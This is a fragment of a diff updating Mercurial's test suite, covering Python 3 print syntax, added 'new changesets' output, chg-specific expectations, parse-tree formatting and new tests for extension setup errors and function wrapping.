+
+  $ mkdir sub
+  $ cd sub
+  $ hg log -qr "extdata(filedata)"
+  abort: error: The system cannot find the file specified (windows !)
+  abort: error: No such file or directory (no-windows !)
+  [255]
+  $ hg log -qr "extdata(shelldata)"
+  2:f6ed99a58333
+
+  $ cd ..
diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -42,11 +42,13 @@
   uisetup called
   reposetup called for a
   ui == repo.ui
+  reposetup called for a (chg !)
+  ui == repo.ui (chg !)
   Foo
 
   $ cd ..
   $ hg clone a b
-  uisetup called
+  uisetup called (no-chg !)
   reposetup called for a
   ui == repo.ui
   reposetup called for b
@@ -55,7 +57,7 @@
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg bar
-  uisetup called
+  uisetup called (no-chg !)
   Bar
   $ echo 'foobar = !' >> $HGRCPATH
 
@@ -67,6 +69,8 @@
   uisetup called
   reposetup called for a
   ui == repo.ui
+  reposetup called for a (chg !)
+  ui == repo.ui (chg !)
   Foo
   $ echo 'barfoo = !' >> $HGRCPATH
 
@@ -75,13 +79,13 @@
   $ cat > foo.py <<EOF
   > import os
   > name = os.path.basename(__file__).rsplit('.', 1)[0]
-  > print "1) %s imported" % name
+  > print("1) %s imported" % name)
   > def uisetup(ui):
-  >     print "2) %s uisetup" % name
+  >     print("2) %s uisetup" % name)
   > def extsetup():
-  >     print "3) %s extsetup" % name
+  >     print("3) %s extsetup" % name)
   > def reposetup(ui, repo):
-  >    print "4) %s reposetup" % name
+  >    print("4) %s reposetup" % name)
   > 
   > # custom predicate to check registration of functions at loading
   > from mercurial import (
@@ -172,7 +176,7 @@
   $ cat > loadabs.py <<EOF
   > import mod.ambigabs as ambigabs
   > def extsetup():
-  >     print 'ambigabs.s=%s' % ambigabs.s
+  >     print('ambigabs.s=%s' % ambigabs.s)
   > EOF
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}/libroot; hg --config extensions.loadabs=loadabs.py root)
   ambigabs.s=libroot/ambig.py
@@ -186,7 +190,7 @@
   $ cat > loadrel.py <<EOF
   > import mod.ambigrel as ambigrel
   > def extsetup():
-  >     print 'ambigrel.s=%s' % ambigrel.s
+  >     print('ambigrel.s=%s' % ambigrel.s)
   > EOF
   $ (PYTHONPATH=${PYTHONPATH}${PATHSEP}${TESTTMP}/libroot; hg --config extensions.loadrel=loadrel.py root)
   ambigrel.s=libroot/mod/ambig.py
@@ -512,6 +516,28 @@
 
 #endif
 
+Make sure a broken uisetup doesn't globally break hg:
+  $ cat > $TESTTMP/baduisetup.py <<EOF
+  > def uisetup(ui):
+  >     1/0
+  > EOF
+
+Even though the extension fails during uisetup, hg is still basically usable:
+  $ hg --config extensions.baduisetup=$TESTTMP/baduisetup.py version
+  Traceback (most recent call last):
+    File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
+      uisetup(ui)
+    File "$TESTTMP/baduisetup.py", line 2, in uisetup
+      1/0
+  ZeroDivisionError: integer division or modulo by zero
+  *** failed to set up extension baduisetup: integer division or modulo by zero
+  Mercurial Distributed SCM (version *) (glob)
+  (see https://mercurial-scm.org for more information)
+  
+  Copyright (C) 2005-2017 Matt Mackall and others
+  This is free software; see the source for copying conditions. There is NO
+  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
   $ cd ..
 
 hide outer repo
@@ -1478,6 +1504,7 @@
   $ echo "reposetuptest = $TESTTMP/reposetuptest.py" >> src/.hg/hgrc
   $ hg -R src status
   reposetup() for $TESTTMP/reposetup-test/src (glob)
+  reposetup() for $TESTTMP/reposetup-test/src (glob) (chg !)
 
   $ hg clone -U src clone-dst1
   reposetup() for $TESTTMP/reposetup-test/src (glob)
@@ -1663,53 +1690,25 @@
   devel-warn: cmdutil.command is deprecated, use registrar.command to register 'foo'
   (compatibility will be dropped after Mercurial-4.6, update your code.) * (glob)
 
-Make sure a broken uisetup doesn't globally break hg:
-  $ cat > $TESTTMP/baduisetup.py <<EOF
-  > from mercurial import (
-  >     bdiff,
-  >     extensions,
-  > )
-  > 
-  > def blockswrapper(orig, *args, **kwargs):
-  >     return orig(*args, **kwargs)
-  > 
-  > def uisetup(ui):
-  >     extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
-  > EOF
-  $ cat >> $HGRCPATH <<EOF
-  > [extensions]
-  > baduisetup = $TESTTMP/baduisetup.py
-  > EOF
+Prohibit the use of unicode strings as the default value of options
+
+  $ hg init $TESTTMP/opt-unicode-default
 
-Even though the extension fails during uisetup, hg is still basically usable:
-  $ hg version
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
-  Mercurial Distributed SCM (version *) (glob)
-  (see https://mercurial-scm.org for more information)
-  
-  Copyright (C) 2005-2017 Matt Mackall and others
-  This is free software; see the source for copying conditions. There is NO
-  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
-
-  $ hg version --traceback
-  Traceback (most recent call last):
-    File "*/mercurial/extensions.py", line *, in _runuisetup (glob)
-      uisetup(ui)
-    File "$TESTTMP/baduisetup.py", line 10, in uisetup
-      extensions.wrapfunction(bdiff, 'blocks', blockswrapper)
-    File "*/mercurial/extensions.py", line *, in wrapfunction (glob)
-      origfn = getattr(container, funcname)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in __getattr__ (glob)
-      self._load()
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _load (glob)
-      mod = _hgextimport(_origimport, head, globals, locals, None, level)
-    File "*/hgdemandimport/demandimportpy2.py", line *, in _hgextimport (glob)
-      return importfunc(name, globals, *args, **kwargs)
-  ImportError: No module named (mercurial\.)?bdiff (re)
-  \*\*\* failed to set up extension baduisetup: No module named (mercurial\.)?bdiff (re)
-  Mercurial Distributed SCM (version *) (glob)
-  (see https://mercurial-scm.org for more information)
-  
-  Copyright (C) 2005-2017 Matt Mackall and others
-  This is free software; see the source for copying conditions. There is NO
-  warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+  $ cat > $TESTTMP/test_unicode_default_value.py << EOF
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('dummy', [('', 'opt', u'value', u'help')], 'ext [OPTIONS]')
+  > def ext(*args, **opts):
+  >     print(opts['opt'])
+  > EOF
+  $ cat > $TESTTMP/opt-unicode-default/.hg/hgrc << EOF
+  > [extensions]
+  > test_unicode_default_value = $TESTTMP/test_unicode_default_value.py
+  > EOF
+  $ hg -R $TESTTMP/opt-unicode-default dummy
+  *** failed to import extension test_unicode_default_value from $TESTTMP/test_unicode_default_value.py: option 'dummy.opt' has a unicode default value
+  *** (change the dummy.opt default value to a non-unicode string)
+  hg: unknown command 'dummy'
+  (did you mean summary?)
+  [255]
diff --git a/tests/test-extensions-wrapfunction.py b/tests/test-extensions-wrapfunction.py
--- a/tests/test-extensions-wrapfunction.py
+++ b/tests/test-extensions-wrapfunction.py
@@ -37,3 +37,28 @@
 batchwrap(wrappers + [wrappers[0]])
 batchunwrap([(wrappers[i] if i >= 0 else None)
              for i in [3, None, 0, 4, 0, 2, 1, None]])
+
+wrap0 = extensions.wrappedfunction(dummy, 'getstack', wrappers[0])
+wrap1 = extensions.wrappedfunction(dummy, 'getstack', wrappers[1])
+
+# Use them in a different order from how they were created to check that
+# the wrapping happens in __enter__, not in __init__
+print('context manager', dummy.getstack())
+with wrap1:
+    print('context manager', dummy.getstack())
+    with wrap0:
+        print('context manager', dummy.getstack())
+        # Bad programmer forgets to unwrap the function, but the context
+        # managers still unwrap their wrappings.
+        extensions.wrapfunction(dummy, 'getstack', wrappers[2])
+        print('context manager', dummy.getstack())
+    print('context manager', dummy.getstack())
+print('context manager', dummy.getstack())
+
+# Wrap callable object which has no __name__
+class callableobj(object):
+    def __call__(self):
+        return ['orig']
+dummy.cobj = callableobj()
+extensions.wrapfunction(dummy, 'cobj', wrappers[0])
+print('wrap callable object', dummy.cobj())
diff --git a/tests/test-extensions-wrapfunction.py.out b/tests/test-extensions-wrapfunction.py.out
--- a/tests/test-extensions-wrapfunction.py.out
+++ b/tests/test-extensions-wrapfunction.py.out
@@ -12,3 +12,10 @@
 unwrap 2: 2: [1, 'orig']
 unwrap 1: 1: ['orig']
 unwrap -: -: IndexError
+context manager ['orig']
+context manager [1, 'orig']
+context manager [0, 1, 'orig']
+context manager [2, 0, 1, 'orig']
+context manager [2, 1, 'orig']
+context manager [2, 'orig']
+wrap callable object [0, 'orig']
diff --git a/tests/test-fetch.t b/tests/test-fetch.t
--- a/tests/test-fetch.t
+++ b/tests/test-fetch.t
@@ -30,6 +30,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets d2ae7f538514
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b parents -q
   1:d2ae7f538514
@@ -55,6 +56,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -77,6 +79,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -110,6 +113,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   updating to 2:d2ae7f538514
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 1:d36c0562f908
@@ -141,6 +145,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 6343ca3eff20
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   merging with 3:6343ca3eff20
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -193,6 +198,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 8fdc9284bbc5
 
 parent should be 2 (no automatic update)
 
@@ -225,6 +231,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 8fdc9284bbc5:3c4a837a864f
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 parent should be 4 (fast forward)
@@ -267,6 +274,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files (+2 heads)
+  new changesets d05ce59ff88d:a7954de24e4c
   updating to 5:3c4a837a864f
   1 files updated, 0 files merged, 1 files removed, 0 files unresolved
   merging with 3:1267f84a9ea5
@@ -314,6 +322,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 1 files (+2 heads)
+  new changesets b84e8d0f020f:3d3bf54f99c0
   not merging with 1 other new branch heads (use "hg heads ." and "hg merge" to merge them)
   [1]
 
@@ -398,6 +407,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7837755a2789
   updating to 2:7837755a2789
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   merging with 1:d1f0c6c48ebd
@@ -426,5 +436,6 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets c8735224de5c
 
   $ cd ..
diff --git a/tests/test-filebranch.t b/tests/test-filebranch.t
--- a/tests/test-filebranch.t
+++ b/tests/test-filebranch.t
@@ -2,8 +2,9 @@
 when we do a merge.
 
   $ cat <<EOF > merge
+  > from __future__ import print_function
   > import sys, os
-  > print "merging for", os.path.basename(sys.argv[1])
+  > print("merging for", os.path.basename(sys.argv[1]))
   > EOF
   $ HGMERGE="$PYTHON ../merge"; export HGMERGE
 
@@ -52,6 +53,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets bdd988058d16
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge -v
diff --git a/tests/test-fileset.t b/tests/test-fileset.t
--- a/tests/test-fileset.t
+++ b/tests/test-fileset.t
@@ -17,20 +17,20 @@
 Test operators and basic patterns
 
   $ fileset -v a1
-  ('symbol', 'a1')
+  (symbol 'a1')
   a1
   $ fileset -v 'a*'
-  ('symbol', 'a*')
+  (symbol 'a*')
   a1
   a2
   $ fileset -v '"re:a\d"'
-  ('string', 're:a\\d')
+  (string 're:a\\d')
   a1
   a2
   $ fileset -v 'a1 or a2'
   (or
-    ('symbol', 'a1')
-    ('symbol', 'a2'))
+    (symbol 'a1')
+    (symbol 'a2'))
   a1
   a2
   $ fileset 'a1 | a2'
diff --git a/tests/test-flagprocessor.t b/tests/test-flagprocessor.t
--- a/tests/test-flagprocessor.t
+++ b/tests/test-flagprocessor.t
@@ -107,6 +107,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 7 changes to 7 files
+  new changesets 07b1b9442c5b:6e48f4215d24
   (run 'hg update' to get a working copy)
   $ hg update
   7 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -161,8 +162,18 @@
   > duplicate=$TESTDIR/flagprocessorext.py
   > EOF
   $ hg debugrebuilddirstate
+  Traceback (most recent call last):
+    File "*/mercurial/extensions.py", line *, in _runextsetup (glob)
+      extsetup(ui)
+    File "*/tests/flagprocessorext.py", line *, in extsetup (glob)
+      validatehash,
+    File "*/mercurial/revlog.py", line *, in addflagprocessor (glob)
+      raise error.Abort(msg)
+  Abort: cannot register multiple processors on flag '0x8'.
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
   $ hg st 2>&1 | egrep 'cannot register multiple processors|flagprocessorext'
+    File "*/tests/flagprocessorext.py", line *, in extsetup (glob)
+  Abort: cannot register multiple processors on flag '0x8'.
   *** failed to set up extension duplicate: cannot register multiple processors on flag '0x8'.
     File "*/tests/flagprocessorext.py", line *, in b64decode (glob)
 
diff --git a/tests/test-flags.t b/tests/test-flags.t
--- a/tests/test-flags.t
+++ b/tests/test-flags.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 22a449e20da5
   (run 'hg update' to get a working copy)
   $ hg co
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -44,6 +45,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 7f4313b42a34
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg heads
   changeset:   2:7f4313b42a34
@@ -96,6 +98,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 7f4313b42a34
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg heads
   changeset:   2:7f4313b42a34
diff --git a/tests/test-fncache.t b/tests/test-fncache.t
--- a/tests/test-fncache.t
+++ b/tests/test-fncache.t
@@ -205,9 +205,9 @@
 Aborting lock does not prevent fncache writes
 
   $ cat > exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error
-  > from mercurial.extensions import wrapcommand, wrapfunction
+  > from mercurial import commands, error, extensions
   > 
   > def lockexception(orig, vfs, lockname, wait, releasefn, *args, **kwargs):
   >     def releasewrap():
@@ -217,7 +217,7 @@
   >     return l
   > 
   > def reposetup(ui, repo):
-  >     wrapfunction(repo, '_lock', lockexception)
+  >     extensions.wrapfunction(repo, '_lock', lockexception)
   > 
   > cmdtable = {}
   > 
@@ -236,7 +236,7 @@
   >             wlock.release()
   > 
   > def extsetup(ui):
-  >     wrapcommand(commands.table, "commit", commitwrap)
+  >     extensions.wrapcommand(commands.table, "commit", commitwrap)
   > EOF
   $ extpath=`pwd`/exceptionext.py
   $ hg init fncachetxn
@@ -252,9 +252,9 @@
 Aborting transaction prevents fncache change
 
   $ cat > ../exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error, localrepo
-  > from mercurial.extensions import wrapfunction
+  > from mercurial import commands, error, extensions, localrepo
   > 
   > def wrapper(orig, self, *args, **kwargs):
   >     tr = orig(self, *args, **kwargs)
@@ -265,7 +265,8 @@
   >     return tr
   > 
   > def uisetup(ui):
-  >     wrapfunction(localrepo.localrepository, 'transaction', wrapper)
+  >     extensions.wrapfunction(
+  >         localrepo.localrepository, 'transaction', wrapper)
   > 
   > cmdtable = {}
   > 
@@ -287,9 +288,15 @@
 Aborted transactions can be recovered later
 
   $ cat > ../exceptionext.py <<EOF
+  > from __future__ import absolute_import
   > import os
-  > from mercurial import commands, error, transaction, localrepo
-  > from mercurial.extensions import wrapfunction
+  > from mercurial import (
+  >   commands,
+  >   error,
+  >   extensions,
+  >   localrepo,
+  >   transaction,
+  > )
   > 
   > def trwrapper(orig, self, *args, **kwargs):
   >     tr = orig(self, *args, **kwargs)
@@ -303,8 +310,10 @@
   >     raise error.Abort("forced transaction failure")
   > 
   > def uisetup(ui):
-  >     wrapfunction(localrepo.localrepository, 'transaction', trwrapper)
-  >     wrapfunction(transaction.transaction, '_abort', abortwrapper)
+  >     extensions.wrapfunction(localrepo.localrepository, 'transaction',
+  >                             trwrapper)
+  >     extensions.wrapfunction(transaction.transaction, '_abort',
+  >                             abortwrapper)
   > 
   > cmdtable = {}
   > 
diff --git a/tests/test-generaldelta.t b/tests/test-generaldelta.t
--- a/tests/test-generaldelta.t
+++ b/tests/test-generaldelta.t
@@ -85,6 +85,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 6 changes to 3 files (+2 heads)
+  new changesets 0ea3fcf9d01d:bba78d330d9c
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone repo --pull --config format.generaldelta=1 full
@@ -93,6 +94,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 6 changes to 3 files (+2 heads)
+  new changesets 0ea3fcf9d01d:bba78d330d9c
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R repo debugindex -m
@@ -154,10 +156,10 @@
   0 files updated, 0 files merged, 5 files removed, 0 files unresolved
   saved backup bundle to $TESTTMP/aggressive/.hg/strip-backup/1c5d4dc9a8b8-6c68e60c-backup.hg (glob)
   $ hg debugbundle .hg/strip-backup/*
-  Stream params: sortdict([('Compression', 'BZ')])
-  changegroup -- "sortdict([('version', '02'), ('nbchanges', '1')])"
+  Stream params: {Compression: BZ}
+  changegroup -- {nbchanges: 1, version: 02}
       1c5d4dc9a8b8d6e1750966d343e94db665e7a1e9
-  phase-heads -- 'sortdict()'
+  phase-heads -- {}
       1c5d4dc9a8b8d6e1750966d343e94db665e7a1e9 draft
 
   $ cd ..
@@ -229,6 +231,7 @@
   adding manifests
   adding file changes
   added 53 changesets with 53 changes to 53 files (+2 heads)
+  new changesets 61246295ee1e:99cae3713489
   updating to branch default
   14 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R relax-chain debugindex -m
@@ -292,6 +295,7 @@
   adding manifests
   adding file changes
   added 53 changesets with 53 changes to 53 files (+2 heads)
+  new changesets 61246295ee1e:99cae3713489
   updating to branch default
   14 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R noconst-chain debugindex -m
diff --git a/tests/test-getbundle.t b/tests/test-getbundle.t
--- a/tests/test-getbundle.t
+++ b/tests/test-getbundle.t
@@ -170,7 +170,7 @@
   $ hg debuggetbundle repo bundle -t bundle2
   $ hg debugbundle bundle
   Stream params: {}
-  changegroup -- "sortdict([('version', '01')])"
+  changegroup -- {version: 01}
       7704483d56b2a7b5db54dcee7c62378ac629b348
       29a4d1f17bd3f0779ca0525bebb1cfb51067c738
       713346a995c363120712aed1aee7e04afd867638
diff --git a/tests/test-globalopts.t b/tests/test-globalopts.t
--- a/tests/test-globalopts.t
+++ b/tests/test-globalopts.t
@@ -31,6 +31,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets b6c483daf290
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -263,8 +264,14 @@
 
 Testing --traceback:
 
+#if no-chg
   $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
   Traceback (most recent call last):
+#else
+Traceback for '--config' errors not supported with chg.
+  $ hg --cwd c --config x --traceback id 2>&1 | grep -i 'traceback'
+  [1]
+#endif
 
 Testing --time:
 
diff --git a/tests/test-glog-topological.t b/tests/test-glog-topological.t
--- a/tests/test-glog-topological.t
+++ b/tests/test-glog-topological.t
@@ -16,6 +16,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg log -G
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -82,7 +82,13 @@
   > }
 
   $ cat > printrevset.py <<EOF
-  > from mercurial import extensions, revsetlang, commands, cmdutil
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   cmdutil,
+  >   commands,
+  >   extensions,
+  >   revsetlang,
+  > )
   > 
   > def uisetup(ui):
   >     def printrevset(orig, ui, repo, *pats, **opts):
@@ -1208,6 +1214,7 @@
   adding manifests
   adding file changes
   added 31 changesets with 31 changes to 1 files
+  new changesets e6eb3150255d:621d83e11f67
   $ cd repo2
 
   $ hg incoming --graph ../repo
@@ -1457,11 +1464,11 @@
       (or
         (list
           (func
-            ('symbol', 'user')
-            ('string', 'test'))
+            (symbol 'user')
+            (string 'test'))
           (func
-            ('symbol', 'user')
-            ('string', 'not-a-user'))))))
+            (symbol 'user')
+            (string 'not-a-user'))))))
   $ testlog -b not-a-branch
   abort: unknown revision 'not-a-branch'!
   abort: unknown revision 'not-a-branch'!
@@ -1473,14 +1480,14 @@
       (or
         (list
           (func
-            ('symbol', 'branch')
-            ('string', 'default'))
+            (symbol 'branch')
+            (string 'default'))
           (func
-            ('symbol', 'branch')
-            ('string', 'branch'))
+            (symbol 'branch')
+            (string 'branch'))
           (func
-            ('symbol', 'branch')
-            ('string', 'branch'))))))
+            (symbol 'branch')
+            (string 'branch'))))))
   $ testlog -k expand -k merge
   []
   (group
@@ -1488,30 +1495,30 @@
       (or
         (list
           (func
-            ('symbol', 'keyword')
-            ('string', 'expand'))
+            (symbol 'keyword')
+            (string 'expand'))
           (func
-            ('symbol', 'keyword')
-            ('string', 'merge'))))))
+            (symbol 'keyword')
+            (string 'merge'))))))
   $ testlog --only-merges
   []
   (group
     (func
-      ('symbol', 'merge')
+      (symbol 'merge')
       None))
   $ testlog --no-merges
   []
   (group
     (not
       (func
-        ('symbol', 'merge')
+        (symbol 'merge')
         None)))
   $ testlog --date '2 0 to 4 0'
   []
   (group
     (func
-      ('symbol', 'date')
-      ('string', '2 0 to 4 0')))
+      (symbol 'date')
+      (string '2 0 to 4 0')))
   $ hg log -G -d 'brace ) in a date'
   hg: parse error: invalid date: 'brace ) in a date'
   [255]
@@ -1524,18 +1531,18 @@
           (group
             (or
               (list
-                ('string', '31')
+                (string '31')
                 (func
-                  ('symbol', 'ancestors')
-                  ('string', '31'))))))
+                  (symbol 'ancestors')
+                  (string '31'))))))
         (not
           (group
             (or
               (list
-                ('string', '32')
+                (string '32')
                 (func
-                  ('symbol', 'ancestors')
-                  ('string', '32')))))))))
+                  (symbol 'ancestors')
+                  (string '32')))))))))
 
 Dedicated repo for --follow and paths filtering. The g is crafted to
 have 2 filelog topological heads in a linear changeset graph.
@@ -1585,8 +1592,8 @@
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', 'a'))))
+        (symbol 'filelog')
+        (string 'a'))))
   $ testlog a b
   []
   (group
@@ -1594,11 +1601,11 @@
       (or
         (list
           (func
-            ('symbol', 'filelog')
-            ('string', 'a'))
+            (symbol 'filelog')
+            (string 'a'))
           (func
-            ('symbol', 'filelog')
-            ('string', 'b'))))))
+            (symbol 'filelog')
+            (string 'b'))))))
 
 Test falling back to slow path for non-existing files
 
@@ -1606,12 +1613,12 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a')
-        ('string', 'p:c'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a')
+        (string 'p:c'))))
 
 Test multiple --include/--exclude/paths
 
@@ -1619,21 +1626,21 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a')
-        ('string', 'p:e')
-        ('string', 'i:a')
-        ('string', 'i:e')
-        ('string', 'x:b')
-        ('string', 'x:e'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a')
+        (string 'p:e')
+        (string 'i:a')
+        (string 'i:e')
+        (string 'x:b')
+        (string 'x:e'))))
 
 Test glob expansion of pats
 
   $ expandglobs=`$PYTHON -c "import mercurial.util; \
-  >   print mercurial.util.expandglobs and 'true' or 'false'"`
+  >   print(mercurial.util.expandglobs and 'true' or 'false')"`
   $ if [ $expandglobs = "true" ]; then
   >    testlog 'a*';
   > else
@@ -1643,8 +1650,8 @@
   (group
     (group
       (func
-        ('symbol', 'filelog')
-        ('string', 'aa'))))
+        (symbol 'filelog')
+        (string 'aa'))))
 
 Test --follow on a non-existent directory
 
@@ -1661,14 +1668,14 @@
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:dir')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:dir')))))
   $ hg up -q tip
 
 Test --follow on file not in parent revision
@@ -1685,14 +1692,14 @@
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:glob:*')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:glob:*')))))
 
 Test --follow on a single rename
 
@@ -1702,8 +1709,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'a'))))
+        (symbol 'follow')
+        (string 'a'))))
 
 Test --follow and multiple renames
 
@@ -1713,8 +1720,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'e'))))
+        (symbol 'follow')
+        (string 'e'))))
 
 Test --follow and multiple filelog heads
 
@@ -1724,8 +1731,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'g'))))
+        (symbol 'follow')
+        (string 'g'))))
   $ cat log.nodes
   nodetag 2
   nodetag 1
@@ -1736,8 +1743,8 @@
   (group
     (group
       (func
-        ('symbol', 'follow')
-        ('string', 'g'))))
+        (symbol 'follow')
+        (string 'g'))))
   $ cat log.nodes
   nodetag 3
   nodetag 2
@@ -1752,11 +1759,11 @@
       (or
         (list
           (func
-            ('symbol', 'follow')
-            ('string', 'g'))
+            (symbol 'follow')
+            (string 'g'))
           (func
-            ('symbol', 'follow')
-            ('string', 'e'))))))
+            (symbol 'follow')
+            (string 'e'))))))
   $ cat log.nodes
   nodetag 4
   nodetag 3
@@ -1786,10 +1793,10 @@
   []
   (group
     (func
-      ('symbol', '_firstancestors')
+      (symbol '_firstancestors')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
 Cannot compare with log --follow-first FILE as it never worked
 
@@ -1798,8 +1805,8 @@
   (group
     (group
       (func
-        ('symbol', '_followfirst')
-        ('string', 'e'))))
+        (symbol '_followfirst')
+        (string 'e'))))
   $ hg log -G --follow-first e --template '{rev} {desc|firstline}\n'
   @    6 merge 5 and 4
   |\
@@ -1833,20 +1840,20 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:set:copied()'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:set:copied()'))))
   $ testlog --include "set:copied()"
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'i:set:copied()'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'i:set:copied()'))))
   $ testlog -r "sort(file('set:copied()'), -rev)"
   ["sort(file('set:copied()'), -rev)"]
   []
@@ -1860,24 +1867,24 @@
   []
   (group
     (func
-      ('symbol', '_matchfiles')
+      (symbol '_matchfiles')
       (list
-        ('string', 'r:')
-        ('string', 'd:relpath')
-        ('string', 'p:a'))))
+        (string 'r:')
+        (string 'd:relpath')
+        (string 'p:a'))))
   $ testlog --removed --follow a
   []
   (group
     (and
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '.'))
+        (symbol 'ancestors')
+        (symbol '.'))
       (func
-        ('symbol', '_matchfiles')
+        (symbol '_matchfiles')
         (list
-          ('string', 'r:')
-          ('string', 'd:relpath')
-          ('string', 'p:a')))))
+          (string 'r:')
+          (string 'd:relpath')
+          (string 'p:a')))))
 
 Test --patch and --stat with --follow and --follow-first
 
@@ -2203,10 +2210,10 @@
   ['6', '8', '5', '7', '4']
   (group
     (func
-      ('symbol', 'descendants')
+      (symbol 'descendants')
       (func
-        ('symbol', 'rev')
-        ('symbol', '6'))))
+        (symbol 'rev')
+        (symbol '6'))))
 
